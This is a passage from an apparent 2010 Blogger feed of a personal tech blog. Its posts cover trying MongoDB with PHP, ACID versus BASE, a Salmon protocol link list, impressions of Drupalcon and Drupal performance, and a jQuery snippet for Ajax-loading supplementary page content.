it so that the appropriate dll would be in my php/ext directory. &lt;br /&gt;In Apache, I modified the php.ini. I added two lines: &lt;pre&gt;extension=php_mongo.dll&lt;br /&gt;extension=mongo&lt;/pre&gt; (both lines seem to be neccessary). &lt;br /&gt;I restarted Apache. &lt;br /&gt;&lt;b&gt;Most&lt;/b&gt; important: I started Mongo. It doesn't hang in the BG, or fire up in response to the driver calls. I had to go into the MongoDB/bin/ and execute mongo.exe to get it to be resident. &lt;br /&gt;Voila: I had Mongo available for tinkering. Next, I did lots of trolling through the slim documentation on &lt;a href="http://www.php5.org/ref.mongo.php"&gt;Mongo Reference on PHP.net&lt;/a&gt;. Fairly quickly, I was able to store and find data. Some things (see below), eludded me.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Some of the upsides:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Schemaless. This is HUGE. When you hold two records side-by-side, one is an array with two cells, the other can be an object with 100 properties-- both in the same table. This doesn't make data management a cakewalk. If you put inconsistent data into a database, you have to find a way to fish it out later. Every so often, I've been tasked with holding complex data in a database. MS Access has sub-tables and I groan in harmony with the creaks from their engine when a sub-table is deployed. &lt;/li&gt;&lt;li&gt;Fast. Benchmarks differ, but simply put: MongoDB is fast. I think it's easy to figure out why: most of the chaff from MySQL is not a factor in Mongo.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Some of the downsides:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Baby's Got Back. My database has 40 records, none with more than 400 characters of information. The database's file size is 84MB. For less than 16,000 characters of data, that seems like a LOT of overhead. Were I able to find an ISP with small account sizes, it would be hard to get this much space for this little data. &lt;/li&gt;&lt;li&gt;Libraries in loose clay. I tried to make use of the PHP library of functions. The expanded functions were not recognized in PHP 5.28 even after adding the library and extension. &lt;/li&gt;&lt;li&gt;I was able to insert and find records. When I tried to use the $in function-- possible and functional for the MongoDB client (console side)-- it worked fine. When I tried the same from PHP, no dice. &lt;/li&gt;&lt;li&gt;Like is there no like? LIKE is a really sloppy call in MySQL. Every time I use it I wince a little (net effect: I wince a little alot). There is no apparent equivalent in MongoDB. &lt;font color="red"&gt;Correction: There is a regular expression statement that's easy use &lt;pre&gt;db.customers.find( { name : /acme.*corp/i } );&lt;/pre&gt; It works well and it's very snappy. No longer do you need to figure out how to do LIKE statments as well as regular expressions. Now, the better question I need to figure out: how to make a phrase like the above work into a PHP statement.&lt;/font&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Some of the changes&lt;/span&gt; (I think neither good nor bad when you do the calculus):&lt;br /&gt;&lt;ul&gt;&lt;li&gt;No JOINS. MySQL performance falls apart when you do joins. Joins are the Achilles-heel of Drupal that relies on them so heavily. It's understandable why, given how much data has to be joined and compared. Yet DBAs the world over always atomized and isolate data, then combine the data for the end result. There are two ways to banish joins:&lt;br /&gt;a) use MongoDB that doesn't have the capactity to do joins.&lt;br /&gt;b) use MySQL and repeat data in different tables to commit to a practice of fewer joins. When you absolutely have to break this rule, you can do so at the cost of a performance hit.&lt;/li&gt;&lt;li&gt;No configs. I was intrigued by the concept after having wades through all of the tweaks you can visit upon MyISAM and InnoDB settings. I think MongoDB's "no config tweaking" will go by the wayside within a year, when somebody out there cranks the performance by messing with some environment variables, maybe even a variable outside of MongoDB itself (like putting the MongoDB on its own disk).&lt;/li&gt;&lt;li&gt;Easily create databases and tables (aka collections). This is one innovation that really balances out as a net zero. By calling a database or collection, you create it if it doesn't exist. That is so very easy. But, how many times do coders trip over typos? If you took out typos, you could remove maybe 20-40% of your debugging time. MongoDB doesn't bleat when you create a database or collection with the wrong name. Worse than that, it allocates megabytes of disk space. Your data could accidentally end up in a sink hole. With MySQL, the errors would bleat out and give you something to repair. This could mean that development may have choppy waters, but the application in production may have an easier go of it because of the MongoDB performance benefits.&lt;br /&gt;Here's what I think the recipe for disaster could be:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Ingredients&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;1 coder who names a collection in a client side variable-- or makes it dynamic: available for the user input to generate.&lt;/li&gt;&lt;li&gt;1 hacker who finds this numpty practice&lt;/li&gt;&lt;li&gt;1,000,000 exploits done automatically.&lt;/li&gt;&lt;/ul&gt;Bake for a few short minutes when nobody is watching.&lt;br /&gt;Yields one web server out of disk space.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Questions:&lt;/span&gt;&lt;br /&gt;How do I do an $in in PHP ? The suggested attempt failed.&lt;br /&gt;Can I do a LIKE equivalent in MongoDB?&lt;br /&gt;Dreamhost says it hosts MongoDB. Are there any other places that allow MongoDBs?&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;a name="ACID"&gt;&lt;/a&gt;ACID - Atomicity, Consistency, Isolation, Durability. A set of properties that guarantee database transactions are processed reliably. The concept of ACID is to evaluate databases and application architecture. In the context of databases, a single logical operation on the data is called a transaction. For example, a transfer of funds from one bank account to another, even though that might involve multiple changes (such as debiting one account and crediting another), is a single transaction. &lt;a href="#acid"&gt;Back to top&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name="ACID"&gt;&lt;/a&gt;BASE - Basically Available, Soft state, Eventually consistent.&lt;br /&gt;BASE, as the acronym denotes, is opposed to ACID. ACID is pessimistic and forces consistency at the end of every operation. BASE is optimistic and accepts that the database consistency will be in flux. Easy to achieve with BASE, impossible to consider with ACID.&lt;br /&gt;BASE can accomplish availability despite partial failures, hence the "Basically Available." Soft state means it's in flux and is non-deterministic. Eventually consistent means that if one data source doesn't report what you'd expect, eventually the data would propagate and become consistent throughout the incarnations of data no matter where it's replicated. &lt;br /&gt;&lt;a href="#base"&gt;Back to top&lt;/a&gt;&lt;br /&gt;&lt;a name="acidvbase"&gt;&lt;/a&gt;&lt;br /&gt;ACID vs. BASE - I think that ACID may be impractical to guarantee. And, it may be unimportant at the end of the day. Following the Buddhist concept that "all things are impermanent", you can have inconsistent data today because in 100 years, no one will care about the data; or it will all come out in the wash. &lt;br /&gt;I saw this one annoying talk on the topic. The speaker said, "so your comment goes missing... [exasperated pause] Who cares? [room erupts in laughter and applause]." He didn't care because the comments would appear eventually; or who cares: it was just one comment and could have been lost through network connectivity. I thought it was really amusing that the author of some of the most inane comments I have ever read would be ambivalent about comments. When you look at the river of news, you can miss something. If it's important, it will come around again. That arrogance towards data is at the core of BASE, like a technical concept founded on sloppiness. I would prefer to cherry-pick between ACID and BASE. ACID when you're handling real data (transactions, comments, content). BASE when you're dipping into the river (news reproductions, live video, etc.). &lt;a href="#base"&gt;Back to top&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4194573512211477740?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4194573512211477740/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4194573512211477740' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4194573512211477740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4194573512211477740'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/05/mongo-want-candy.html' title='Mongo Want Candy!'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_ekehePDB92c/S_F3N6ieakI/AAAAAAAAARM/H3nk5xAvUpI/s72-c/mongo.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-7696415843309887321</id><published>2010-04-28T10:18:00.001-07:00</published><updated>2010-04-28T10:21:45.336-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comments'/><category scheme='http://www.blogger.com/atom/ns#' term='Salmon'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Salmon Link Dump</title><content type='html'>Notes and info on the Salmon Protocol to support commenting:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.salmon-protocol.org/faq"&gt;http://www.salmon-protocol.org/faq&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://code.google.com/p/salmon-protocol/"&gt;http://code.google.com/p/salmon-protocol/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://posterous.wiredvanity.com/salmon-googles-open-source-social-web-aggrega"&gt;http://posterous.wiredvanity.com/salmon-googles-open-source-social-web-aggrega&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://blog.louisgray.com/2009/10/proposed-salmon-protocol-aims-to-unify.html"&gt;http://blog.louisgray.com/2009/10/proposed-salmon-protocol-aims-to-unify.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://groups.google.com/group/activity-streams/browse_thread/thread/4a1e3767235c1d47?pli=1"&gt;http://groups.google.com/group/activity-streams/browse_thread/thread/4a1e3767235c1d47?pli=1&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-7696415843309887321?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/7696415843309887321/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=7696415843309887321' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7696415843309887321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7696415843309887321'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/04/salmon-link-dump.html' title='Salmon Link Dump'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-5523083067781585372</id><published>2010-04-24T16:35:00.009-07:00</published><updated>2010-04-24T22:07:04.179-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='drupal heretic'/><category scheme='http://www.blogger.com/atom/ns#' term='drupalcon'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>Sitting In Drupalcon's Cheap Seats</title><content type='html'>&lt;style&gt;h3 { margin-bottom: 0px; }&lt;/style&gt;A colleague does a lot of Drupal module development. He's a cool and knowledgeable guy and in the Drupal Association. He spoke of the legend of the Drupalcon. In the last six years, Drupalcon attendance number have doubled with each session. What started with a bunch of coders in a pub basement has now grown to 3000+ people. Massive rooms capable of holding 800 people were too small to contain the crowds. Birds of a Feather-- ad hoc sessions of people who were like minded-- were packed with 30-60 people apiece. The scale of this event was massive. It speaks to the growth of the Drupal content management system.&lt;br /&gt;Has it grown to be too big?&lt;br /&gt;&lt;h3&gt;The State Of Drupal&lt;/h3&gt;&lt;a href="http://sf2010.drupal.org/conference/sessions/state-drupal"&gt;According to Dries Buytaert&lt;/a&gt;, the originator of Drupal, Drupal powers 1% of the websites out there. Given the market fragmentation and how many people roll their own designs, having one CMS power 1% of them is massive.  That said, Wordpress is three times more popular than Drupal. They are different products: Wordpress is for blogging; Drupal is for anything.&lt;br /&gt;&lt;h3&gt;Weakness Is Not Strength&lt;/h3&gt;Drupal has some weaknesses. It's comparatively solid for security; it's good for internationalization but it's weak for scalability. There was a great &lt;a href="http://2bits.com/sites/2bits.com/files/drupal-single-server-2.8-million-page-views-a-day.pdf"&gt;talk&lt;/a&gt;(&lt;a href="http://sf2010.drupal.org/conference/sessions/24-million-page-views-day-60-m-month-one-server"&gt;2&lt;/a&gt;) from Khalid Baheyeldin about how to extend the CMS for a massive amount of processing. The basics: use fewer modules, build your server specific for Drupal and shun some crawlers. If I could do this at my day job, I'd be able to take up golf and not spend day after day in terror as 158 modules pop like popcorn vs. 100,000 page views from Google each day. Many of the talks were about getting Drupal to behave better in a high traffic environment. I think that says it all: Drupal has performance problems otherwise you wouldn't be trying to fix it. You can win big from its flexibility, but that flexibility comes at a cost.&lt;br /&gt;I think some concepts need to considered:&lt;br /&gt;- One ideal module made to accomplish your site's work. Start with core and expand by almost nothing at all. Go back to coding and sink the time into the development work that happens with most sites.&lt;br /&gt;- Not everything needs a module. Google Analytics? Google Adsense? Google and other sites make their tools so portable that they are wholly driven by the client side. Why are there so many modules in Drupal that do what should happen at the bottom of your theme? I will populate a block with a Google AdSense block. Why do it some other way?&lt;br /&gt;- Hard wiring is not a sin (nor is hacking core, but I'll go to Drupal Hell if I suggest that). You get full reign of your themeing. Why would a fixture that is on every page in your theme go into something programmatically derived? On one site, I've done, the blocks start AFTER a number of divs where the elements are hardwired into place. This cuts down on the amount of function calls and database work.&lt;br /&gt;- More code is not better. Drupal 7 is promised to come with more code. One Twitterer fired up Drupal 7 to see it face plant. Bug reports say that Drupal 7 busts a seam when it tries to do an update. None of this is surprising: Drupal 7 is still under development.&lt;br /&gt;- Put your busy-work into the client side as much as possible. Lean on Ajax, good design and smart usage of CSS. For example, Google will de-list you if you present Google friendly code that is different from what you produce for non-Google users. But you can present the same code to everyone and rely on the idea that, for now, Google will not be able to entirely parse the code in the same way a browser does-- then give those capable of using the code something better than those that cannot (dynamic loading, dynamically sourced forms, etc.).&lt;br /&gt;- Be agnostic. Drupal has some set aside directories (like modules, includes and themes). That leaves many options for sub directory names. You can install Wordpress inside of the sub-directory of a Drupal site. Don't be afraid to use multiple technologies. You wouldn't move your apartment using your Honda Civic, when the Dodge pick-up is available. Don't mistake that some applications can satisfy niche roles better than Drupal can.&lt;br /&gt;&lt;h3&gt;The Forest for the Trees Problem&lt;/h3&gt;I went to the PHP Conference in Vancouver in 2007; and the OpenWeb Conference in 2009. Their conference sizes were large but okay. I was able to network with a number of people and have some good conversations. Drupalcon's 3000 attendees meant that I met many people once and only once. There were so many Birds of a Feather sessions that I couldn't zero in a breadth of topics, but strafe what I could. The saving grace: many of the Drupalcon events are &lt;a href="http://www.archive.org/search.php?query=drupalcon%20AND%20mediatype%3Amovies&amp;amp;sort=-publicdate"&gt;available online&lt;/a&gt;. I could have watched these from home. With the use of the &lt;a href="http://drupal.org/irc"&gt;IRC channels&lt;/a&gt;, I could have communicated with the community. With this number of attendees, I needed some specialization. I sat with module contributors; librarians and entrepreneurs. I was hard pressed to find someone in my boat.&lt;br /&gt;There are many categories of people at Drupal:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Industry&lt;/span&gt;: Public Sector, Private Sector, Start-ups and Hobbyists&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Specialty&lt;/span&gt;: Core coding, Coding, Module Development, Theming, Architecture, Entrepeneurialism.&lt;br /&gt;Ideally, Drupal needs to split along something like these 24 segments (I'm not going to presume I have the recipe with these categories). I could get juxtaposition from a module developer bent on satisfying the needs of libraries; but I really needed to talk to someone who is getting a lot out of their install. If dating technology could have been applied to the attendee dynamic, then people could have met people who were one step up the skills ladder.&lt;br /&gt;I wish there were more days-- there were-- the unconference before; and the core developer summit afterwards, but they felt as though they were not open to everyone. Worse still: I had the option of training on the Sunday-- or the Unconference.&lt;br /&gt;I could have learned what I did via a tutorial tree-- here's what you know, there's what you don't-- so that you can spend the time of discoveries and skill building.&lt;br /&gt;&lt;h3&gt;Sharing The Piss But Not The Recipe&lt;/h3&gt;There was another more annoying occurrence at this conference. I went to a talk by people from Four Kitchens. In short, Four Kitchens ROCKS.  Their sites looks good. Their Pressflow distribution is a great way to ruggedize Drupal. When they offered a talk from taking a Photoshop mock-up and making it into a theme, I leapt at the chance to attend. They described what a Drupal theme was (thanks-- I spent 8 hrs. in a room on Sunday re-learning that). Then they opened up the floor to questions. They glossed over how to start with a PSD and end up with a Drupal theme. That was the whole point of the session. Lots of people are doing it-- I know they are. I've cut up Fireworks designs. What I didn't know was how to take a Photoshop mock-up and convert it. I still don't know, but I know that Four Kitchens does it and they do it well.&lt;br /&gt;I cannot singly fault them. This is a big topic. I hit this problem multiple times. Hearing "it's easy" but getting no details is like those affiliate marketers who say "I make $20,000 a week!" but don't back it up with real details-- SHARE.&lt;br /&gt;I really wish the talks could be vetted before they are approved. I went through a number of sessions that were VERY basic, so much so that I didn't know how someone could run to a conference specialized for Drupal but not know some of these basics.&lt;br /&gt;The conference needed to be split into basic, intermediate and advanced and really stick to it.  &lt;a href="http://sf2010.drupal.org/conference/sessions/20-apis-every-drupal-developer-should-know"&gt;20 APIs Every Drupal Developer Should Know&lt;/a&gt; is an example of a session that was ranked for "Basic, Intermediate"-- really it was "Basic Developer" (too low for me); and "Intermediate Architect" (&lt;a href="http://victorialocal.blogspot.com/2010/04/of-conferences.html"&gt;about right for my wife&lt;/a&gt; who is a site admin, but she doesn't code though she should know what's out there). When it said "Intermediate" I thought it was in my league. When it said "APIs" I thought it was about APIs-- Daylife, Flickr, Google, etc.. No: it was about 20 types of Drupal modules. My bad.&lt;br /&gt;&lt;br /&gt;Were I to run Drupalcon, I would have done it differently:&lt;br /&gt;- Split the conference into lots of micro conferences. Hold them nearly in parallel with some shifting so that the entrepreneurs, coders and themers don't need need to jockey for the same rooms.&lt;br /&gt;- Hold training, but not at the conference. The problem there: some places run diploma-mill training that results in their students washing windows (really). Lullabot, Zivtech and Lynda are great and should be used more. What I would like: a question-answer of what there is to know vs. what you don't know. At my theming training I learned about (theme)_preprocess_(specialty). I wish I could have jumped to that then off to something else new. Group training sessions don't work like that.&lt;br /&gt;- Match people to spark conversations. Let people code themselves and look for people up and down the skills tree. There were 3000 people at Drupalcon. I liked speaking with everyone I spoke with; but I would have liked to speak with the 30 people who could fill in my blanks-- only I didn't know who they were.&lt;br /&gt;- Open the cookbooks. People should share their Drupal recipes as much as their bosses will allow. I was able to share my biography and session schedule, but I could not share how I built &lt;a href="http://www.propertypast.com"&gt;propertypast.com&lt;/a&gt; or &lt;a href="http://www.thosedewolfes.com/"&gt;thosedewolfes.com&lt;/a&gt;.&lt;br /&gt;&lt;h3&gt;The Good Stuff&lt;/h3&gt;Beyond learning and emersing myself in Drupal-land, I came up with some good ideas and a better understanding of Drupal. I also learned how much I have managed to wring out of Drupal and Apache. Others are pulling off the same result by lopping out 120 modules; or doing the same as what we're doing but with four servers and not one. I left one person speechless when I told them that the site had 36 themes. Yep: I know we have about 30 themes too many.&lt;br /&gt;I have an idea for a module-- well, a framework concept as well as a migration synchronization module.&lt;br /&gt;I have an idea for a site to support Drupal people. Ideally, it should go on Drupal.org. Realistically, I'll put it on prefabsite.net.&lt;br /&gt;I have an idea for a Photoshop plug-in. First, I have to become a Photoshop plug-in developer expert. It's like Colombus wanting corn: first he has to travel to the New World.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-5523083067781585372?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/5523083067781585372/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=5523083067781585372' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5523083067781585372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5523083067781585372'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/04/sitting-in-drupalcons-cheap-seats.html' title='Sitting In Drupalcon&apos;s Cheap Seats'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6391104742681811558</id><published>2010-04-19T14:49:00.016-07:00</published><updated>2010-04-20T19:28:43.397-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='Pressflow'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>Fat Men and Luggage</title><content type='html'>I'm really fat-- there's no way to sugar coat it (if you did, maybe you'd expect me to eat it). I'm at the SF Drupalcon, which means I am carting my digital essentials: a laptop, a power strip and a SLR digital camera, all wrapped in a bike bag and associated with some hard won swag (oh, hosting? tell me more! [reaches for t-shirt]...).&lt;br /&gt;As a fat man the last thing I need is luggage-- it is literally more to lug around. If anything, I need less-- like no laptop bag and some subspace generator that weighs me in at a feathery 160 lbs.-- so that I can move around best.&lt;br /&gt;I came to this epiphany today and then an hour later, Dries Buytaert gave his inspiring key note address. In looking ahead to Drupal 7, he said that it will have more code (read: poorer performance) but be more scalable. That's great... er, sort of. I remember Steve Ballmer talking about how his staff would boast about kloc-- 1000 line blocks of code. The more klocs you wrote, the better you were at programming. This is why Windows 3.1 went from humming a 486 with 64MB of RAM all the way to needing 1GB+ on a screaming machine to run Vista. More lines may be the only solution to some problems, but sometimes the bulk happens for its own sake.  &lt;br /&gt;If the code is too bulky it brings in too much overhead before you get to the real source of overhead: content and data relationships.&lt;br /&gt;Drupal needs to make a left turn in its bulking trend. &lt;a href="https://launchpad.net/drizzle"&gt;Drizzle&lt;/a&gt; is an example of how to go. Drizzle is a fork of MySQL made to be more modular and strip out extraneous code. Most coders pride themselves on how much work they as reflected in their volume of code. Drizzle is priding themselves on how much code they have taken out. They have removed thousands of lines of code. There are data types that no one uses, so Drizzle doesn't have them. &lt;a href="http://fourkitchens.com/pressflow-makes-drupal-scale"&gt;Pressflow&lt;/a&gt; is a distribution of Drupal 6 that gets rid of the fringe code that is meant to satisfy PHP4 pecadilloes. It has less code which makes it faster and more scalable.  It does backport advantages of Drupal 7 and share its own advantages into Drupal 7.&lt;br /&gt;How do you do complex stuff in a potentially free form way without requiring alot of code? That's the devil in the details. Some ideas:&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Context&lt;/span&gt;: Factor in context to simplify the data set. I hit the url path functions and was amazed that it searched for all matches and never brought arg(0) into the mix as a way to pre-filter the results.&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Make Your Function Respond Like a Good Witness&lt;/span&gt;: Have you watched those courtroom dramas where the witness volunteers information and suddenly gets implicated in a murder? Less is more. When you look at the node object in Drupal 5 and 6, it brings in the data in many ways repeated off of several trees. That's a lot of bulk to move around and traverse. If the output is just what you expect then you don't have excess to trim, ignore or suffer with. Functions needs to be able to give what is required and have some extensibility capacity.&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Lean of the Language and the Environment&lt;/span&gt;: Waaay back in Drupal 4.7 we had a glitch in CCK. I leaned on a PHP function to mend the problem-- easy problem to solve with an easy and solid function. . Like a good Drupaller, I suggested the change as a patch. I was scolded by the maintainer that I should not use a PHP function to resolve this function. WTF? I can't use PHP in Drupal? I understand the logic and the strength of abstracting the mysql_fetch_row() but some functions do not need abtraction-- they work fine. In some cases, there is road that does not need to be re-paved. Adding more functions to repeat the work of what is natively available in PHP or MySQL bulks up the Drupal code and will impact performance. It will give the fat man too much luggage.&lt;br /&gt;Looking at Drupal 7's projected big red bar to indicate its code size, I am concerned how much luggage it going to get carried around in the next version.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6391104742681811558?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6391104742681811558/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6391104742681811558' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6391104742681811558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6391104742681811558'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/04/fat-men-and-luggage.html' title='Fat Men and Luggage'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-3689273539778597629</id><published>2010-04-08T07:25:00.005-07:00</published><updated>2010-04-08T08:14:20.255-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JQuery'/><category scheme='http://www.blogger.com/atom/ns#' term='spiders'/><title type='text'>JQuery block loading</title><content type='html'>It's great to have lots of content. Sometimes you need even content from offsite. If you link to an offsite source that can drop your page rank, feeding page rank to the source (the "Articlebase effect" wherein a site full of mediocre articles gets all of the traffic).  You cannot serve two versions of your site (one for Google to gain favour; one for real people). Google will de-index your site in response.  Google is an 800-lb. gorilla: on site I work with, they are responsible for about 50% of the page views. The real users make up a small minority of the page views. You need to cushion your processing to accomodate this huge amount of non-human usage. If you could serve less content that could mean less database access-- less work to gather the page contents. But, you need to give users as much content as possible to hook them. You need to serve the same page to all. But, you can capitalize on the technical limitations of spiders. For a while (eg. ignore this article in you're reading it in the Spring of 2011), search engine spiders are not Javascript/JQuery sensitve.  So, you can deliver the same page to all, but use JQuery and Ajax loading to bring in supplemental content. If the content points to offsite links, it may send users away from your site, but it will not contribute to lowering your page rank.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;window.onload = function() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$("#ajax_window").load("http://mike.dewolfe.bc.ca/cooking").fadeIn("slow").slideDown('slow')};&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;div id="ajax_window"&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above code is an example of what I may use on my &lt;a href="http://mike.dewolfe.bc.ca/"&gt;mike.dewolfe.bc.ca&lt;/a&gt; site. It leans on the existance of JQuery. The page it calls load into the "ajax_window" DIV. I do have to call a local resource for the sake of simplicity because of XSS safeguards in my browser.  Rather than use "document.ready()" a classic way of gauging a page load, I use window.onload().  This is because I subscribe to the Steve Souder tips on &lt;a href="http://www.amazon.com/gp/product/0596529309?ie=UTF8&amp;amp;tag=mikedewolfe-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0596529309"&gt;High Performance Web Sites: Essential Knowledge for Front-End Engineers&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=mikedewolfe-20&amp;amp;l=as2&amp;amp;o=1&amp;amp;a=0596529309" alt="" style="border: medium none  ! important; margin: 0px ! important;" border="0" height="1" width="1" /&gt; and put my script calls at the bottom of the page. The problem with that is that the JQuery library loads late on a page and the function calls in the page that reference it will choke and fail. window.onload() is a basic Javascript function, so it will always be recognized. When the page is loaded, the JQuery functions are present and window.onload() will allow those functions to be called.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-3689273539778597629?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/3689273539778597629/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=3689273539778597629' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3689273539778597629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3689273539778597629'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/04/jquery-block-loading.html' title='JQuery block loading'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-460419342134925904</id><published>2010-04-05T21:55:00.005-07:00</published><updated>2011-10-26T20:38:02.567-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='taxonomy'/><category scheme='http://www.blogger.com/atom/ns#' term='Property Past'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>What am I trying to do with Property Past</title><content type='html'>I had a tense dim-sum with my 